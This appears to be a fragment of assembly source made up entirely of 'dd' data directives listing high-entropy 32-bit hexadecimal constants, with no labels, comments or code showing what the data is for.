dd 24931222h, 28BC083h, 12ACCB84h, 4B6E9146h, 338EA290h
dd 2F11AFDCh, 0CF908813h, 8F9AE517h, 19026A22h, 0F7DC5030h
dd 0CB2300D1h, 0C1EFE283h, 0B2704E1h, 8207F0CAh, 2A2D0D84h
dd 2683359Bh, 0F3363DBFh, 0DD173043h, 2333E91Bh, 0C1E0FB2Eh
dd 402303E9h, 6585FDCFh, 0FE600A05h, 102A917h, 74C3846Ch
dd 83E95007h, 0A8F80C49h, 7F0B0456h, 7B14DAF7h, 6FBA104h
dd 7909178Fh, 1520997Eh, 8F580245h, 1FB90EB0h, 2304BFE8h
dd 3D3474C1h, 0D93A5DEBh, 12080E1Fh, 4286570Ch, 837D4728h
dd 5EEE034Ah, 0CFB6EA00h, 0A8ACFD8h, 168F680Ch, 7A8B1CBh
dd 0FC20C245h, 0F20D0311h, 3E320205h, 0E3201022h, 9F1AEB23h
dd 4C94FE7h, 6F0D0BAAh, 897A7830h, 144D1F84h, 645AA781h
dd 2A9010F8h, 0E238057Bh, 51FE3F1Fh, 111B14D3h, 483B799Eh
dd 0F4E35E66h, 1D1CE683h, 2737DD18h, 0A4105852h, 6837501Fh
dd 1C7D666Fh, 0DD118044h, 403EC907h, 2E7A1011h, 77530E49h
dd 0E415C719h, 3AA04270h, 20E740F6h, 831B0304h, 0EC13FE26h
dd 424FB22h, 224F722h, 5884EF20h, 40DF1AA9h, 0F3FFBAA7h
dd 0E11A67B4h, 25D2C81Ah, 0CE16E649h, 75C00906h, 14E801Eh
dd 184892B8h, 0E53D7889h, 8CD9EFBh, 0F70A50B9h, 0C7B6C382h
dd 162102C1h, 0B6766CA5h, 3407E18Ah, 0CC781310h, 0EB2A1662h
dd 234A1263h, 2483CCAh, 180907A9h, 40DD5A03h, 2B1FCDE3h
dd 88A437BCh, 574E5339h, 4CE71CB0h, 0B450B21Fh, 14740A5Bh
dd 17AB5D84h, 736E270Fh, 2C2559ACh, 0D6B02F7h, 16D848F4h
dd 0DC7098F6h, 0AB6ADE0Ch, 0D4FB101Ah, 26AF5FFDh, 69F3DECh
dd 7815C8EAh, 4822A46Ah, 0F893E0B8h, 0C823196Ah, 81118830h
dd 35E823F9h, 0E9311058h, 308B3B28h, 82FC9085h, 0DC01DD60h
dd 7860241Dh, 5383C2Ah, 0FAB1125Bh, 2776603h, 5DD3AFD9h
dd 41E09DF4h, 0B120A56Eh, 88087635h, 1ED3F04Ah, 232D29EBh
dd 0B9469028h, 0F018D4C1h, 1ECAD343h, 0D3F07870h, 1928BB8Fh
dd 3AFE43DAh, 3E114BA8h, 0F9659CDAh, 55F0AF3Dh, 6698CB92h
dd 0CA0EF34Ah, 913014DDh, 8F46D971h, 0D7BE2516h, 76A3DACh
dd 0FDAB0F8Bh, 920CFE91h, 4138D59h, 0FD01F5A1h, 0C8BFBCEh
dd 668D097Dh, 0EB2B8A8Ch, 73714354h, 95D33970h, 8AD20260h
dd 58FA4525h, 0B74E980Ch, 0B827A952h, 80FA6203h, 2B1F7D2Bh
dd 608469C1h, 9ED03E8Bh, 6DD18188h, 0F81C9FF7h, 43CCC2AFh
dd 17187902h, 0B5E37548h, 0C799A128h, 1843A248h, 605566EBh
dd 6A24325Eh, 0FD51B510h, 8A97CE44h, 8AA6D4DAh, 956A0B0Eh
dd 80EF8B17h, 5FFF85B9h, 92C2BD5Bh, 0BFA64E77h, 0EEB073C4h
dd 0BCA2C44Ah, 2A74E41Bh, 0F6566425h, 53144463h, 7556115Eh
dd 1CBF88FFh, 0D33684Ah, 750EF528h, 0E057DE20h, 243F86A2h
dd 10B023CEh, 0EBB2BAECh
dd 2D382579h, 9055A41Ah, 509E0EDFh, 9FF8A359h, 0C83C7408h
dd 0C69CAE2Ah, 2069369Eh, 2FBCFB59h, 124B4B70h, 7F84CDFCh
dd 588BFB15h, 1E96C325h, 0C91233F6h, 0C45318B8h, 603BC609h
dd 9D0E74C1h, 3D413F81h, 9DED08F0h, 41BD9FAh, 0C3191CCDh
dd 7B97598Ah, 56A0B7Eh, 98AC16EBh, 0EF00110h, 8729FAF1h
dd 988F0619h, 5B580311h, 0B0DF13C3h, 2FE7D10Ah, 8500498Dh
dd 97FCD908h, 5FA7FAF9h, 61BD34CEh, 31890EE8h, 0DB54FE05h
dd 0F0D3DACh, 0C33A4180h, 92A40B17h, 29B2FEA8h, 7D81BE82h
dd 7FF0F868h, 3909751Fh, 165908DDh, 12483CD7h, 75818CFFh
dd 0B895852Ah, 0BAD17FF8h, 0DC2166C8h, 19EC27ACh, 89F9A417h
dd 0AF7136Bh, 71615B9h, 59670CA8h, 6E025B74h, 38765D58h
dd 0D295523Ah, 6A562C62h, 9A0892Dh, 83900844h, 1089ADA4h
dd 66070661h, 830E6474h, 110F3265h, 0B957024Dh, 4832BE33h
dd 0EA736F64h, 0F68CC1F9h, 0DEC3105Eh, 120C65D1h, 0B800B12h
dd 16068303h, 80A1A01h, 89E7EB4Eh, 0EF0E963Bh, 5E4899ECh
dd 8264E491h, 34CECB51h, 0EDF9DF28h, 4616272Bh, 0E491968Bh
dd 4FE0EA8h, 0BE256628h, 0F0BF0F04h, 2689EE81h, 18423455h
dd 4C5E3089h, 359B7D44h, 1038FE7Dh, 1B980E2Ch, 0FA5E2DBh
dd 25135627h, 12BD08FEh, 69D723C8h, 0BD44D57h, 0E41510AEh
dd 47EF6D39h, 0D0659C91h, 0C1F624AFh, 0DB0A02B0h, 0DBCB182Dh
dd 9BF25DB3h, 10760D72h, 1212D8A2h, 1B9A832Fh, 49CA6C5Ah
dd 6A691224h, 90716B44h, 0FEF1DEE8h, 871DD2D8h, 12EBE584h
dd 25815C19h, 10B408Ch, 1CA432E1h, 4C6F5965h, 5C19B0CBh
dd 5E921F70h, 9685500h, 0E6C8F028h, 0E6757FDCh, 6D06CD4Dh
dd 0B9E8FD18h, 7F58C81Eh, 926B765Dh, 460789FAh, 946BA153h
dd 0C950FC5Ch, 78C659C3h, 87B01FD2h, 0D810A4C4h, 0C3D03850h
dd 14E4B092h, 0F423EB4h, 1AF15FBEh, 0F631E0A4h, 393E2C74h
dd 6732A714h, 0AE1FB414h, 474DA88Fh, 0D25D43Dh, 0E05DFBEAh
dd 0F7460ED1h, 0ED7FAFCFh, 84E40CC1h, 0F3752DC9h, 0AABF0C51h
dd 8601E15h, 3A0C7424h, 0D0E3E9CAh, 0CD400148h, 0BF24F43Dh
dd 192AAA0Fh, 0F9800D0Dh, 0A923465h, 245BAD45h, 481E77EDh
dd 6E3038CFh, 140F93FAh, 118A4201h, 19CA5640h, 55F61688h
dd 8BEB854Eh, 5B7227A2h, 0DDFE496Eh, 74E602A5h, 0E771FD1Bh
dd 283D0204h, 0CA7F0C09h, 455DDAD7h, 0AA1244FCh, 47362F36h
dd 98827E55h, 4A3D80CDh, 0D28CEC6Ch, 5DEC01BAh, 0A468A110h
dd 702DC41Bh, 0FDB0654h, 1451C19Fh, 5831835Ch, 34C798Dh
dd 7BC47C01h, 6919115h, 74328B38h, 75268C41h, 6DF93D1Bh
dd 0DA565E2Dh, 143140Eh, 831B9250h, 72B6633Eh, 0D0034188h
dd 39A1CAE4h, 32F06B3Dh, 0F935DA14h, 0C3C66561h, 3C1240C3h
dd 0D49147Eh, 247F7857h, 0CB440888h, 1662A943h, 0A2A06870h
dd 920D38E2h, 0C8790795h, 9583CB26h, 5A974FF0h, 0C8B8894Ah
dd 0FCC62620h, 0CFE19745h, 3C272241h, 45E803Ch, 0F705794Bh
dd 2D28C9DBh, 64FB9200h, 43BD117Ch, 5E99B00Bh, 0BEFE48F7h
dd 0E1B146Fh, 2F21DAFBh, 0DB46BB0Ah, 8D52D598h, 1297ED5h
dd 90EE82Eh, 3575610h, 5F70A196h, 1CAC8321h, 0E4435A2h
dd 75C33B09h, 3E082447h, 0CD8F0734h, 4C16A8Bh, 0C3608030h
dd 92B4EBAAh, 0B4D1495h, 10996AB7h, 2404460Ch, 5B0BC303h
dd 9ADCC5DBh, 75FD0202h, 145C607h, 0AF017D8Dh, 10E3C14Fh
dd 9357C920h, 7C6075Bh, 0C1474530h, 24F80312h, 16AC411Dh
dd 595A919Dh, 7603C03Eh, 85EE4704h, 287DF615h, 1501D6AFh
dd 6EBDEF7h, 973B089Dh, 29F6F87Ch, 963B2D53h, 4EE9306Ah
dd 8B5F14C1h, 0A6D93AC5h, 8224FF2Ah, 5107A848h, 2ED849A3h
dd 0DF490582h, 700D49A2h, 0E9A8F346h, 0EB935350h, 56F18B05h
dd 0D8DB234h, 542A97A0h, 1E0F2739h, 5488C19Ch, 400B3D74h
dd 9FF04804h, 7C15A350h, 13232148h, 0CA4B1D7Dh, 4607050Ah
dd 0F91DCEECh, 53FE8B20h, 94A094D1h, 96A71D5Ch, 0AC14A2F0h
dd 81F6F212h, 97F73C10h, 5C6B391h, 0F73FCE49h, 1202805Ah
dd 0A6258079h, 61FB9FE6h, 0A7270C14h, 11A2A5B8h, 23BB7D13h
dd 7D2CCCFDh, 34461058h, 47C30D32h, 660D0D2Ch, 3BE91375h
dd 5C9B42A2h, 0AAE54F6Fh, 0D1731618h, 0B6D6EB5Bh, 0E7F4DB13h
dd 4CFA524Eh, 1AD68561h, 0DF3C1FB9h, 40C781ECh, 0F703D250h
dd 70C60B83h, 0D3B8494Fh, 7E003EDBh, 520BF57h, 27391993h
dd 0D15E743Eh, 46548CBh, 0DD41B766h, 6487DB7Eh, 87F0AE6Fh
dd 6A690A75h, 4C6656FFh, 0FD631847h, 7D56EB7Fh, 8150803Eh
dd 73633805h, 0C1AAE06Dh, 51478B5h, 73046812h, 0BE0849h
dd 0B60F1D9Ah, 52692455h, 1CFD605Eh, 0DF19D56h, 0D1C0064Bh
dd 0EB201474h, 699181Fh, 631B4B24h, 5B5116B1h, 5A3CE23Dh
dd 2185262h, 0C877800Ch, 0BF084020h, 0F00BE3F1h, 180DA07Ch
dd 0F104413Bh, 883FAA59h, 80A4BBB4h, 1E4FC38Eh, 80147C2h
dd 1BF82D9Ah, 0A1B0567Eh, 0D4A4BDEBh, 8B04BBEh, 926F7845h
dd 0A1231B66h, 0D01B697Ch, 0BE8E85C2h, 9718EC6Fh, 9295803Fh
dd 756126Bh, 0EE08F946h, 680B8870h, 1DDB511Eh, 6CD11491h
dd 8AC81245h, 2EF0A441h, 0FC8E99ACh, 69E3578Ah, 0C4642257h
dd 4E8064D3h, 0AA58EFD8h, 6F9A8D1Eh, 7F47633Ah, 47BD37Ch
dd 9FF77AAh, 0CFAE7DD0h, 10CFC6D3h, 787EF427h, 403FA1A1h
dd 95788670h, 12020DE2h, 2A417EF8h, 37272076h, 1809D993h
dd 4BF8E6A0h, 3E30B11Ah, 19390983h, 16E17F3Eh, 8225EFF4h
dd 0FAA5D210h, 24EB27C2h, 0D542CFDh, 35535520h, 602C8115h
dd 0B1198856h, 0A5542C81h, 146B22ABh, 17123D58h, 0DD528021h
dd 400CF614h, 264A1D1Fh, 6228DEAh, 4A848815h, 3C0EE297h
dd 0F8172447h, 81D546C5h, 18FC1D25h, 99803DBDh, 957A2CC8h
dd 18893521h, 89106DFDh, 0AF6AAC3h, 9FFE7366h, 24910A55h
dd 0EF04376h, 0A34F73F8h, 0CC437C3Eh, 0BC7F7CC3h, 4E2445FBh
dd 319A010h, 0F45A30E9h, 60E579Ah, 16087980h, 830A39FDh
dd 4B6BF0C0h, 5015ED7Ch, 0EA64F46Fh, 14C6E720h, 0AAA94FEBh
dd 47D17129h, 4A64433Bh, 8A1D7880h, 0AD3C508Dh, 90BF941h
dd 0A1E2044Eh, 0B97438Eh, 96D75260h, 0F6220BEBh, 0F0E0206h
dd 2F4A07ADh, 0E074F6A2h, 0F0151A8h, 77090A9Eh, 933A4830h
dd 0A2AA0475h, 31EB921Fh, 0F78A82Ah, 76CB0CC8h, 0FC739C5Ch
dd 0EFE47592h, 12AF4350h, 0E0AA5574h, 77F405DEh, 5C4BCD99h
dd 484746F6h, 0A5F04429h, 3680C02h, 0F0F1D701h, 0B04E6628h
dd 0EBE081EFh, 0AFA92B1Ah, 979BDB40h, 1320B059h, 685593D0h
dd 340C37A4h, 75EBB7F0h, 0E8C6D3A6h, 27643E21h, 0EBA2D60Dh
dd 166ED27Ch, 25AEA764h, 20B92965h, 0C2D92036h, 0C93E1C82h
dd 0FF024273h, 0B1F9517Fh, 3B621BC9h, 862C1D23h, 5E03E41Fh
dd 401FFA57h, 6A28D427h, 62369274h, 9E6576Fh, 68120294h
dd 0AA5B2EAh, 86894028h, 0C73953Bh, 4910291Eh, 252C1A88h
dd 570718E8h, 6A405050h, 0C2597997h, 911F78B8h, 22EA931Ch
dd 0A4D5D494h, 94BDDC7Ah, 515C4E2Fh, 0D164526h, 4012C726h
dd 4A867CE4h, 3D44E4E0h, 0F7215A2h, 5D2D1584h, 2C2A5BFCh
dd 1E2BC966h, 0C397907Fh, 4BF49731h, 9241D49Ah, 0F29D113Ch
dd 2DBF153Eh, 1B6461F5h, 0D6E40D38h, 0AA5C5180h, 0BF31BE3Ah
dd 0AD2A92C5h, 92CF28EFh
dd 0EED88F84h, 5B89D878h, 0E4670546h, 9E7F5FA3h, 257E28E0h
dd 0E103F81h, 7F5D8327h, 76213F3Ch, 9497145Ch, 0C5392812h
dd 0AC913FCh, 455D76D4h, 0D1C4EFC5h, 9D5B6FDDh, 33CDF85Fh
dd 0F7136D78h, 1E0AC668h, 279E889Ah, 0D036A472h, 0FEA565CAh
dd 4412D05h, 751058ADh, 99E94801h, 2A166B14h, 8A6008F5h
dd 7C2FE872h, 1FA75110h, 16E0E6F6h, 0C1D5EF44h, 379E17BAh
dd 11271A07h, 0BF314B30h, 12489C3Fh, 0CA758A1Eh, 16885E61h
dd 8C2B2414h, 38DA8D98h, 0D44E4422h, 314C642Ch, 523C1D4Ch
dd 464C5D28h, 10E48E73h, 0E4592BA9h, 4F9214E0h, 38CD957h
dd 4F87E8Dh, 0BE62850Fh, 84078B33h, 153B423h, 0EB5608BCh
dd 18349C97h, 750A562Bh, 8C59583Ah, 7E741A1Fh, 0FF340DA9h
dd 0AE509D1Ch, 66EB2B60h, 56748A3Ah, 5C487936h, 0DA1B8FAh
dd 4C5433Bh, 405B1CABh, 0A550A8E0h, 3046B447h, 0EBA5C2AAh
dd 0B11A1F53h, 0C467EB9Eh, 5249964Dh, 30BF52F5h, 0EF4024Ch
dd 21C426E1h, 0C651F1E0h, 0AB2AF965h, 111B7427h, 1112044Bh
dd 510AAA44h, 691870FFh, 405A62A1h, 1D45381Dh, 0A9950F0Ch
dd 758D0E67h, 5BC0BD17h, 13DAEE3h, 3045180h, 7CD285C6h
dd 36200D5Ch, 3F229E32h, 0CAB90E0Ch, 0F4F3C12Dh, 51530404h
dd 65478AFFh, 0B89455EDh, 0FB6D4088h, 1DC6D58Ah, 0D0FF0D8Dh
dd 5DDDF8C0h, 0EB5E29D9h, 7523CC6Bh, 2B90514h, 182291ACh
dd 0C2FC595Dh, 47D6AE0Ch, 0FE11E0F0h, 0A1A81683h, 0CB73EC84h
dd 12A11416h, 2907EBD0h, 0C73E961Fh, 0BC1E9773h, 0D03F53D1h
dd 42085648h, 0A1C8A979h, 43D42354h, 851D8458h, 0B0CBA312h
dd 0D3BAAC5Eh, 19D749FEh, 25CE46DFh, 0CED217D7h, 0C3DEE2B7h
dd 0EB09F01Ch, 61789838h, 75023C27h, 81E82B1Fh, 8C29AFD7h
dd 0F2BB8D2Bh, 94C1120Eh, 0F67A11EBh, 704C84A3h, 5160FE16h
dd 31053B53h, 57C5D160h, 0C8FBC773h, 88C4AF94h, 3CF2C8BEh
dd 0F200AE5h, 42563144h, 5216D650h, 0EBB1A1ECh, 86D63B4Fh
dd 52CA9DB3h, 2F3ED9D7h, 756B48DCh, 9479BB6h, 7DB824Fh
dd 0FDE8C85Fh, 0A446F8Dh, 0F27CC36Bh, 0E7E5B7D4h, 224BAB2Dh
dd 0FD1077C5h, 625C178Bh, 0EA03BA3Eh, 30353010h, 0FECC75AEh
dd 1E7C53C8h, 81578B5Bh, 8C2F766h, 2BEE8401h, 3C910447h
dd 0D0A5F620h, 0D89F8554h, 0C29AD9DEh, 1F337468h, 85D6DF29h
dd 7FAC1DEh, 0A21FE3DDh, 129514h, 8004DAD8h, 3E287E74h
dd 739E3BD1h, 0A3A4222h, 817D0375h, 0F1EB42F4h, 4FFB62BEh
dd 0A41CA912h, 0D6EB5156h, 46D1A458h, 47127F0Eh, 0E2AE010Ch
dd 6F669C9h, 2132D2F8h, 0EE815521h, 0C203C12Bh, 0C6272769h
dd 655E3B54h, 0BA6AE306h, 61E88C53h, 0C0D0C242h, 4E1D4E7Dh
dd 0A9774D14h, 0B7305E2h, 8B373880h, 474340E4h, 34B2200Dh
dd 63FC2F85h, 5B87B832h, 2CCB46F7h, 17287708h, 8845B84Fh
dd 0C2E4BA05h, 0F684B147h, 1E416793h, 29273442h, 0F81B2DB1h
dd 4885B5B8h, 0DAA1A6EAh, 0DFA84DEh, 79830F60h, 0C19C3294h
dd 0B9B5F194h, 139C897Ah, 451357EBh, 0A4EAFF33h, 6CBF8B8h
dd 61D4D6F0h, 3BA32202h, 5EFC5F12h, 0CF515714h, 0C39864A6h
dd 801991B6h, 4CC3C164h, 3341B2A9h, 90668506h, 0E7862D89h
dd 0FB00115Dh, 2B914E04h, 0A05EFB74h, 17DF29A8h, 98A40F0h
dd 0AF93680h, 0F03814AAh, 400D0AC6h, 8C24FD88h, 2A958D0Ah
dd 51CA2B0Bh, 0CC7C8240h, 3C91F88Bh, 9AF5E22Bh, 570E11C3h
dd 0F0C2DC7Ah, 43743186h, 4001F4E6h, 7CC73BF2h, 0CAFB8DB5h
dd 10A20FF6h, 0BA8F8A72h, 0F1D14B4h, 328EF85h, 5F74018Ch
dd 2458056Ah, 4C4C7543h, 0F7A3E27Ah, 0D404B41Ah, 50BBD9A0h
dd 8DC7EB4Dh, 0DCF44D28h, 65C8AD9Eh, 58140B51h, 0EBF844D2h
dd 8B2DA752h, 397A299Ch, 8C7B3DE7h, 1C904038h, 389715BCh
dd 0CD14A8B8h, 6C42ACFEh, 89281C22h, 0EB286D3Dh, 7AF1A016h
dd 6296F6DBh, 271F2856h, 96A87C14h, 0ACBA883Dh, 5E46753Fh
dd 535B7D80h, 63206968h, 3E4D20DCh, 0B2449D02h, 1DAC05B2h
dd 22EB2404h, 0B89C4218h, 481C4C54h, 229C8086h, 47EA201h
dd 1F8C0220h, 107E2514h, 21A30FFh, 0FCC4E24h, 0A1AA4538h
dd 44672C1Eh, 69A6F11Dh, 4923E4C3h, 385927E9h, 0D315B8D1h
dd 32203445h, 7A4C26FAh, 2FE8A1F5h, 0F71FE227h, 0DF84D59Ah
dd 3AF0F550h, 0A44AC4F2h, 3B25E49Ah, 0A5B171DFh, 48912DEh
dd 3404D51Bh, 0B5D7A424h, 32622DE1h, 0D9DC84C4h, 99131254h
dd 6AE82F29h, 6FF31245h, 7444D072h, 76ECAC66h, 44D162A4h
dd 34F5D158h, 1B24F24Dh, 2544A662h, 0D879B08Bh, 74F73B01h
dd 0D45F632h, 0CC402560h, 0B2F21C7Eh, 0D6413B89h, 0DB591E7Fh
dd 2255331Eh, 0A7E3D6CEh, 6525C078h, 0BBCEBCC8h, 47B420C6h
dd 0D4DC8A36h, 0C8B4E014h, 0DB925B12h, 0FD06B39Bh, 56B474DFh
dd 68E457CBh, 509C74C5h, 7518B490h, 6EB0804h, 52D48DACh
dd 98022DCFh, 5288151Eh, 0B94BC071h, 64FB79B0h, 7291C643h
dd 0AE57F4A7h, 84ACC7h, 0FF4A8D56h, 4AB70D74h, 0F13E6834h
dd 3106B749h, 5E761BF3h, 3F2B0532h, 0D9D957C3h, 0EACC5316h
dd 0BA385A26h, 0AD20F748h, 0D62F5956h, 171598B0h, 551FB83h
dd 860D48Fh, 0BBE23AE1h, 22354A66h, 0F658F99Ah, 0AC0D85C7h
dd 0A559C2B2h, 0C550C3Bh, 0FEA4132Eh, 4AA67912h, 0EDD00D16h
dd 0E0153A66h, 56D1030Dh, 7DCA3D3Bh, 49348D87h, 0B50AAC2Bh
dd 0D6276069h, 0CC680DBh, 8BF7754Ah, 0DC3548C4h, 0D2F23D4Bh
dd 0DA04594h, 0EB838360h, 0A5903D70h, 82819013h, 1E913D5Dh
dd 4A088442h, 8579933Dh, 3D213708h, 2082E48Dh, 878F3D24h
dd 11828690h, 0A11923Dh, 0FF898A18h, 0A03E894Dh, 0DD98D3EFh
dd 5EB90B8Bh, 0FB91F6EBh, 3725AE51h, 92E4A314h, 9245FA9h
dd 401542A2h, 5D5B9F48h, 812C6495h, 3910D8EDh, 56885815h
dd 7406A1B8h, 0EC17EE49h, 0C0C045C8h, 473C670h, 75103907h
dd 49A38DF5h, 0A008765Eh, 0A1C13B16h, 0B387413h, 936EB24Fh
dd 0FB0182C0h, 0B4E1BD0Dh, 581FA7ACh, 75221343h, 0FE1CFF25h
dd 88BF10B5h, 9B7117Ch, 3F706895h, 89EA9CE7h, 2FE46E6h
dd 0D443E19h, 3C0A1081h, 0FF067620h, 77361A76h, 64536AFAh
dd 0ABE92104h, 0C9EAC752h, 0D899A6E0h, 0B6B15C21h, 8604BE44h
dd 3A035078h, 3C1274C3h, 4701A13Dh, 5959323Ah, 7BBE58D7h
dd 72B498EBh, 76F3B7BDh, 0D344D525h, 340AF348h, 27E06514h
dd 0D229C409h, 3D0882C9h, 1F384280h, 552A3974h, 8B763A57h
dd 8045590Ch, 4F22943Fh, 0A2A2BC55h, 982F9406h, 0BC364FE5h
dd 3EEED489h, 0FD039804h, 29C97570h, 0AD85FF5Dh, 86B0D5Eh
dd 2C3B0C82h, 8828391Eh, 62F6B04Fh, 0FEC35B13h, 0BE1E869Dh
dd 59B0BE1Ah, 27DCF95Dh, 0A1C4D15Eh, 0A3022A89h, 0FE8B2224h
dd 7F934277h, 9C561CC2h, 90F853E4h, 0B3252884h, 88D940EAh
dd 5025D5A5h, 2ED782FAh, 309151A2h, 4B3D509Bh, 3656AB86h
dd 641FFA2Dh, 500CB648h, 8A3199Dh, 0D92A5B0Fh, 0D40B2FD9h
dd 57065F14h, 5CB0E621h, 0C7792595h, 0F5A4B635h, 125394FFh
dd 2FDAF137h, 4038DFD2h, 1E8A449Ch, 52400150h, 29BF0BFAh
dd 0B76E445Eh, 825674BFh, 8AC2013Eh, 108A7180h, 462A1688h
dd 0D5430C40h, 0DCEEB15h, 0BF580427h, 3A4146F9h, 1243EB2Ah
dd 991F0555h, 0DA8A400Ah, 641A83F9h, 19EE1834h, 0ED20CD15h
dd 124D1709h, 83CC75DCh
dd 314803A1h, 664B11BCh, 0EC833EFFh, 0F6948518h, 2DE0B7C2h
dd 52C028Ah, 4AF72889h, 0C8180416h, 8BA0BD51h, 2FC1455h
dd 25D144F5h, 468619D8h, 407E705Ch, 84E3D897h, 0E12C5B93h
dd 2D9721C2h, 58182EF5h, 220A789Fh, 3C35E48Dh, 3EB4981h
dd 0E9087097h, 0D6F05EF9h, 940F1F18h, 0D10CB0C2h, 0D32F8BEBh
dd 0E8BC04Bh, 0A89A443h, 465C06C6h, 47DE2FB2h, 0A8888120h
dd 80DC834Ah, 8B0A293Eh, 5B753F11h, 0B63F973Ah, 1953532Eh
dd 3206C9E3h, 0F1CB120h, 3CD4123h, 0DD04BA2Dh, 0C8293991h
dd 0C520A631h, 42DF281Fh, 278303C8h, 4ADD8F4Ah, 24ABDDABh
dd 0BFB42E60h, 95CD482h, 33AA302Dh, 0E4D220E1h, 0D4C1A2F6h
dd 0D50A3253h, 0B2A55257h, 0BD44D617h, 0D6288B56h, 0BB4C35E7h
dd 0EA22A0B3h, 2451C84h, 0B62ABF89h, 8145CD64h, 0A40C4424h
dd 0C250C840h, 1E396685h, 0EC0E7484h, 18123840h, 7F95275h
dd 0C62BF209h, 269F44DFh, 1A8FF8D1h, 5E430640h, 93F8084Fh
dd 0D7FF340Bh, 0EB3B3600h, 33B13274h, 0B602ACDh, 553ACB23h
dd 7BFA2FFFh, 0AE444B4Dh, 0DEBC1894h, 5CCC284Dh, 9D68B14h
dd 382216ECh, 531326B6h, 884C7992h, 0B22186A6h, 0C33C74C2h
dd 55C7C261h, 0F8BE6743h, 0F60541FBh, 0D6E6FB2Bh, 83D4CEC3h
dd 0CF8D8DFFh, 0F6F5022Fh, 0BBC10BEBh, 84A93F56h, 3CF2C292h
dd 0DD27BB28h, 3E5B2899h, 4BEC1DF4h, 4BF1BD44h, 0A6217C9h
dd 0C23A8492h, 62321B33h, 5F0AD216h, 202322C7h, 8651EA5Ah
dd 93A02B2Ah, 0F5805F1Ah, 0C6B700E0h, 0A280546h, 0F9524A1h
dd 0A1C54CEh, 0E28DE2EBh, 0C4F2DCA7h, 451ABE66h, 90795F0Ch
dd 53A60E25h, 82B96ED2h, 0C18D300Ch, 8C1B8DDh, 1CA24B47h
dd 3B54DC2Eh, 64353994h, 0BF527D06h, 90879B64h, 388A012Eh
dd 89C08083h, 0A8888D07h, 1173C17Fh, 20608018h, 8B404008h
dd 90B90F4Bh, 4D7DC12Ah, 4A42D6E4h, 0E8BB7C12h, 440A452Eh
dd 7ED207FCh, 0AE03C446h, 8A36BDD1h, 4B6920AFh, 80A852Eh
dd 0A6490B75h, 0A17AC624h, 0CFC9C7D1h, 0DE43A72Ah, 8890B86h
dd 48883D61h, 83454787h, 0FE3B50C3h, 5198BA7Ch, 3C07ED8Ch
dd 348DFFD8h, 85A27547h, 40140DBh, 12B5B881h, 0E858F66Ah
dd 48C313ABh, 0F5C9E0C9h, 3528B392h, 748D42A9h, 67B95717h
dd 4FA22A0Ch, 203E8912h, 4E8006D1h, 0F9AE1B7h, 0ADA4C2Ah
dd 0FBF70817h, 43010D79h, 7C03FB83h, 0B94DFF9Bh, 5A2C6E91h
dd 441E22EBh, 567E40D5h, 30321D43h, 95F43958h, 17081D11h
dd 5DA4FC97h, 0F7C945AFh, 5D89BB40h, 8A82AE20h, 10881155h
dd 0C6EF9715h, 73404443h, 0B9085B7Bh, 8D611E3Ah, 900B7692h
dd 1F27708Fh, 3555645h, 54FF106Bh, 5E5D1819h, 99400B85h
dd 0D33C7833h, 19ACA94Dh, 4DA50C5h, 0D563D95h, 8679220h
dd 5A96A6Fh, 8DBB8FBEh, 9C1F4757h, 79DF0CACh, 1B7B28FDh
dd 0EBF434ECh, 0F1B8A135h, 0ECBD1DBAh, 5156558h, 72FF6A5Dh
dd 17AB5D40h, 550D3977h, 5EF15E2Eh, 1C41C629h, 18740850h
dd 0C25025AEh, 4C5BA198h, 9E0B6525h, 2A12270Dh, 0AE543D91h
dd 46161E7Fh, 7FFC6821h, 34B4D19Fh, 59A0D2D0h, 0E756ECFFh
dd 0E83A1659h, 0D9A4C9F1h, 0D3402F2Fh, 749CE8B8h, 0B1265A6h
dd 788415B8h, 56F145D5h, 14E6DCF0h, 1B963B03h, 411C2750h
dd 3E6D1901h, 0E391EECDh, 31EED20Dh, 46FA811Eh, 0F1441876h
dd 5C85278Dh, 0A5EACF57h, 23C3927Dh, 0FD7C1418h, 0D060A2FAh
dd 0F8573F13h, 6E08BD51h, 0A59C933h, 29763CCCh, 71D5491Ah
dd 170E4834h, 6A1B0783h, 68A61F03h, 6EB78510h, 0B86FF953h
dd 0F468824Ch, 1156B27Bh, 0A97A5711h, 211E9179h, 0E2A047F0h
dd 0D4ABECB6h, 3612E5F5h, 20769E24h, 0C8F611A6h, 21828A4h
dd 2CB42940h, 0BFEB4A5Fh, 31EA391Ch, 0FF2E6A62h, 7D7B5736h
dd 0F44DFE3Ch, 9AEF9EB1h, 4B715DE3h, 2DB2F427h, 0B9F6B702h
dd 8B27F164h, 2CB17A01h, 617F908Dh, 2A1C73C2h, 54FBE313h
dd 0EB1661F5h, 2B864FF1h, 0C43B1796h, 0CEFAACF8h, 306CBF54h
dd 2016FD3Ch, 8730F981h, 0BE43EBC5h, 0CF96698Dh, 3D483347h
dd 0D12FA84Bh, 65893A55h, 0D69A14AFh, 3031122h, 0C1E8EBD6h
dd 0DFC4EFE7h, 0EE3285FFh, 5E569B62h, 735761B0h, 0AF3B2F52h
dd 0A131F87Fh, 0CC273684h, 155FAA4Ah, 0C2BE1E93h, 80710AFh
dd 53B40539h, 19EBEB0Fh, 3D5F50Ah, 0EE84F602h, 78B4020h
dd 12301C89h, 0A35BC033h, 26BBF58Ah, 0D46EEB1h, 28C75525h
dd 7B23C10h, 134AF656h, 49FB3712h, 0BB94322Ah, 2BAC1F63h
dd 49F420C8h, 135002E7h, 70A827ACh, 307B0C83h, 72C03323h
dd 0CAF0F128h, 295E2D73h, 78F01F95h, 1FED0C53h, 0E03744F6h
dd 0C3657DAEh, 97C382F9h, 0C43D213Fh, 0D0981F3Dh, 57E28379h
dd 0D1203F1Fh, 50257416h, 1C9C28AAh, 7953D1BFh, 15242E12h
dd 61A15768h, 6A567F40h, 5E3E8414h, 8FBC0775h, 3B06EB80h
dd 419F7DC6h, 1A41A34Eh, 7033046Ah, 0A559B21Fh, 0A537DC7Ch
dd 26C10C8Bh, 35892856h, 84198D1Ch, 0B31A6A08h, 4CB44D66h
dd 158B84A7h, 5217CDAFh, 456820FAh, 0D759F83Dh, 33EA02BBh
dd 8788B9D2h, 0F224C21Dh, 0A1767799h, 0A5F00E64h, 0B5A7F6D2h
dd 9C099703h, 424C2062h, 55E83173h, 3921D47Ch, 8704B1BBh
dd 0AA2C3D80h, 7005BC22h, 634116CFh, 0D2E8FCC3h, 98BE12FBh
dd 0D891595Bh, 16EE7C34h, 0AD7113AFh, 0A8C73CBAh, 0EB311C18h
dd 8D041B11h, 32A014F5h, 0AD0F9C13h, 4A5F9142h, 7DA44219h
dd 8BAFB3F9h, 56B34007h, 80C113F6h, 55CCAB57h, 0E85D0889h
